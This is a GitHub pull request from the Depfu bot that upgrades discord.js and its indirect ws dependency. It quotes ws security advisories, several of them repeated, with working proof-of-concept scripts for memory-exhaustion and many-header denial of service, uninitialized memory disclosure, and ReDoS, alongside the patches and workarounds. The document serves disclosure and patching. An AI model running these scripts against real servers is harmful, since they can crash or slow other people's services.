Skip to content

🚨 [security] Update discord.js 11.6.4 → 14.27.0 (major) - #91

Open
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/npm/discord.js-14.27.0
Open

🚨 [security] Update discord.js 11.6.4 → 14.27.0 (major)#91
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/npm/discord.js-14.27.0

Conversation

@depfu

@depfu depfu Bot commented Jul 17, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ discord.js (11.6.4 → 14.27.0) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

↗️ ws (indirect, 6.2.2 → 8.21.1) · Repo

Security Advisories 🚨

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Uninitialized memory disclosure

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>, {
skipUTF8Validation: true
});

<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">'close'</span><span class="pl-kos">,</span> <span class="pl-k">function</span> <span class="pl-kos">(</span><span class="pl-s1">code</span><span class="pl-kos">,</span> <span class="pl-s1">reason</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-en">deepStrictEqual</span><span class="pl-kos">(</span><span class="pl-s1">reason</span><span class="pl-kos">,</span> <span class="pl-v">Buffer</span><span class="pl-kos">.</span><span class="pl-en">alloc</span><span class="pl-kos">(</span><span class="pl-c1">80</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

}
);

wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

value.trim().split(/ *, */);

const end = process.hrtime.bigint();

console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in ws@7.4.6 (00c425e) and backported to ws@6.2.2 (78c676d) and ws@5.2.3 (76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​discordjs/builders (added, 1.14.1)

🆕 @​discordjs/collection (added, 1.5.3)

🆕 @​discordjs/formatters (added, 0.6.2)

🆕 @​discordjs/rest (added, 2.6.2)

🆕 @​discordjs/util (added, 1.2.0)

🆕 @​discordjs/ws (added, 1.2.3)

🆕 @​sapphire/async-queue (added, 1.5.5)

🆕 @​sapphire/shapeshift (added, 4.0.0)

🆕 @​sapphire/snowflake (added, 3.5.5)

🆕 @​types/node (added, 26.1.1)

🆕 @​types/ws (added, 8.18.1)

🆕 @​vladfrangu/async_event_emitter (added, 2.4.7)

🆕 discord-api-types (added, 0.38.50)

🆕 lodash.snakecase (added, 4.1.1)

🆕 magic-bytes.js (added, 1.13.0)

🆕 ts-mixer (added, 6.0.4)

🆕 tslib (added, 2.8.1)

🆕 undici (added, 6.27.0)

🆕 undici-types (added, 8.3.0)

🗑️ async-limiter (removed)

🗑️ long (removed)

🗑️ prism-media (removed)

🗑️ snekfetch (removed)

🗑️ tweetnacl (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants